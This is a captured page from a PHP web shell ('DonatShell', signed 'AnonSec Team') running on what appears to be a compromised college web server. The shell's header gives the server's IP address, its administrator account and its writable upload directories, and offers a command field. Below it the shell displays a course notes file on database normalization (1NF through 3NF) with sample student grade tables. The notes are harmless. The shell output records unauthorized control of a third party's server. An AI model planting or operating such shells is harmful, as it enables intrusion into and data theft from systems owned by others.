GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1600/_Archive/Notes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1600/_Archive/Notes/CST1600_wk07_20180220.txt
CST1600_wk07_20180220_part1	View lecture part 1
CST1600_wk07_20180220_part2	View lecture part 2
CST1600_wk07_20180220_part3	View lecture part 3 (Lab 5)

* = primary key (unique identifier)
@ = foreign key (points to a primary key or unique identifier in another table)
^ - unique field.

EXAMPLE 1:

1NF:
student ( roll_no*, name, subject* )
roll_no*	name	subject*
101			Akon	OS
101			Akon	CN
103			Ckon	Java
102			Bkon	C
102			Bkon	C++

2NF & 3NF:
student ( roll_no*, name )
subject ( subject* )
student_subject ( roll_no*@student.roll_no, subject*@ )


EXAMPLE 2:

1NF: (also in 2NF)
employee ( emp_id*, emp_name, emp_address, emp_mobile* )
emp_id	emp_name	emp_address	emp_mobile
101		Herschel	New Delhi	8912312390
102		Jon			Kanpur		8812121212
102		Jon			Kanpur		9900012222
103		Ron			Chennai		7778881212
104		Lester		Bangalore	9990000123
104		Lester		Bangalore	8123450987

3NF:
employee ( emp_id*, emp_name, emp_address )
mobile ( emp_id*@, emp_mobile* )

UNF:
StudentData ( StudentNo*, StudentName , Major, ClassID*, CourseNo, CourseName, InstrNo, InstrName, Room, Grade )
StudentNo; StudentName;    Major; ClassID; CourseNo; CourseName;                  InstrNo;           InstrName;                     Room;       Grade
34673656;  Avram Hinton;   NSA;   123456   CST1611;  Web Server Administration;   00007967;          Jim Martinson;                 rm327;      A
94086534;  Kristen Acosta; CP;    345678   CST1600;  Relational Databases;        00007967;          Jim Martinson;                 rm328;      F
34673656;  Avram Hinton;   NSA;   234567   CST2608;  Linux Server Administration; 00007967,00008843; Jim Martinson, Rocky Hyberger; rm328, B48; C
83681840;  Hayes Gibson;   CST;   345678   CST1600;  Relational Databases;        00007967;          Jim Martinson;                 rm327;      A
94086534;  Kristen Acosta; MAD;   456789   CST1022;  HTML II and Javascript;      00008612;          Allen Benusa;                  rm345, B67; B
94086534;  Kristen Acosta; CP;    567890   CST1600;  Relational Databases;        00007967;          Jim Martinson;                 rm327;      A

1NF:
StudentData ( StudentNo*, StudentName , Major, ClassID*, CourseNo, CourseName, InstrNo*, InstrName, Room*, Grade )
StudentNo; StudentName;    Major; ClassID; CourseNo; CourseName;                  InstrNo;           InstrName;                     Room;       Grade
34673656;  Avram Hinton;   NSA;   123456   CST1611;  Web Server Administration;   00007967;          Jim Martinson;                 rm327;      A
94086534;  Kristen Acosta; CP;    345678   CST1600;  Relational Databases;        00007967;          Jim Martinson;                 rm328;      F
34673656;  Avram Hinton;   NSA;   234567   CST2608;  Linux Server Administration; 00008843;          Rocky Hyberger;                B48;        C
34673656;  Avram Hinton;   NSA;   234567   CST2608;  Linux Server Administration; 00008843;          Rocky Hyberger;                rm328;      C
34673656;  Avram Hinton;   NSA;   234567   CST2608;  Linux Server Administration; 00007967;          Jim Martinson;                 B48;        C
34673656;  Avram Hinton;   NSA;   234567   CST2608;  Linux Server Administration; 00007967;          Jim Martinson;                 rm328;      C
83681840;  Hayes Gibson;   CST;   345678   CST1600;  Relational Databases;        00007967;          Jim Martinson;                 rm327;      A
94086534;  Kristen Acosta; MAD;   456789   CST1022;  HTML II and Javascript;      00008612;          Allen Benusa;                  B67;        B
94086534;  Kristen Acosta; MAD;   456789   CST1022;  HTML II and Javascript;      00008612;          Allen Benusa;                  rm345,      B
94086534;  Kristen Acosta; CP;    567890   CST1600;  Relational Databases;        00007967;          Jim Martinson;                 rm327;      A
94086534;  Kristen Acosta; CP;    567890   CST1600;  Relational Databases;        00007967;          Jim Martinson;                 rm327;      A


2NF & 3NF:

Class ( ClassID*, CourseNo@)
123456, CST1611
345678, CST1600
234567, CST2608
456789, CST1022
567890, CST1600

Class_Instructor ( ClassID*@, InstrNo*@)
123456, 00007967
345678, 00007967
234567, 00007967
234567, 00008843
456789, 00008612
567890, 00007967

Class_Room ( ClassID*, Room*@)
123456, rm327
345678, rm327
345678, rm328
234567, rm328
234567, B48
456789, rm345
456789, B67
567890, rm327

Course ( CourseNo*, CourseName)
CST1611, Web Server Administration
CST1600, Relational Databases
CST2608, Linux Server Administration
CST1022, HTML II and Javascript

Instructor ( InstrNo*, InstrName )
00007967, Jim Martinson
00008843, Rocky Hyberger
00008612, Allen Benusa

Major ( Major* )
NSA
CP
CST
MAD

Room ( Room* )
rm327
rm328
rm345
B48
B67

Student ( StudentNo*, StudentName )
34673656;  Avram Hinton
94086534;  Kristen Acosta
83681840;  Hayes Gibson

Student_Class ( StudentNo*@, ClassID*@, Grade)
34673656, 123456, A
34673656, 234567, C
94086534, 345678, F
94086534, 456789, B
94086534, 567890, A
83681840, 345678, A

Student_Major ( StudentNo*@, Major*@)
34673656, NSA
94086534, CP
94086534, MAD
83681840, CST

Anon7 - 2022
AnonSec Team